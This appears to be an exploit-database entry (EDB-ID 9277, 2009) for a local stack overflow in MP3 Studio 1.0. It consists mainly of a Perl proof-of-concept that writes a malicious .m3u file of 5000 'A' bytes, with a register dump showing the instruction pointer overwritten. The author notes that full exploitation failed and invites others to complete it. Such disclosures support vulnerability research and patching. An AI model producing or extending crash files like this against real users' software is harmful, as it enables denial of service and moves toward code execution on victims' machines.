Exploit MP3 Studio 1.0 - '.mpf' / '.m3u' Local Stack Overflow (PoC)

[Exploiter]

EDB-ID

9277

Проверка EDB

1. Пройдено

Автор

HACK4LOVE

Тип уязвимости

DOS

Платформа

WINDOWS

CVE

null

Дата публикации

2009-07-27

#!/usr/bin/perl
# Found By :: HACK4LOVE
# MP3 Studio v 1.0 (.mpf /.m3u File) Local Stack Overflow PoC
##http://www.software112.com/products/mp3-millennium+download.html
########################################################################################
##Thanks for SkuLL-HacKeR ####and all WwW.Sec-ArT.CoM/cc team
########################################################################################
##EAX 00000000
##ECX 41414141
##EDX 7C9037D8 ntdll.7C9037D8
##EBX 00000000
##ESP 00134970
##EBP 00134990
##ESI 00000000
##EDI 00000000
##EIP 41414141
########################################################################################
## it so easy exploit but it did not work for me i hope some one exploit it#############
########################################################################################
my $crash="http://"."\x41" x 5000;
open(myfile,'>>hack4love.m3u');
print myfile $crash;
########################################################################################

# milw0rm.com [2009-07-27]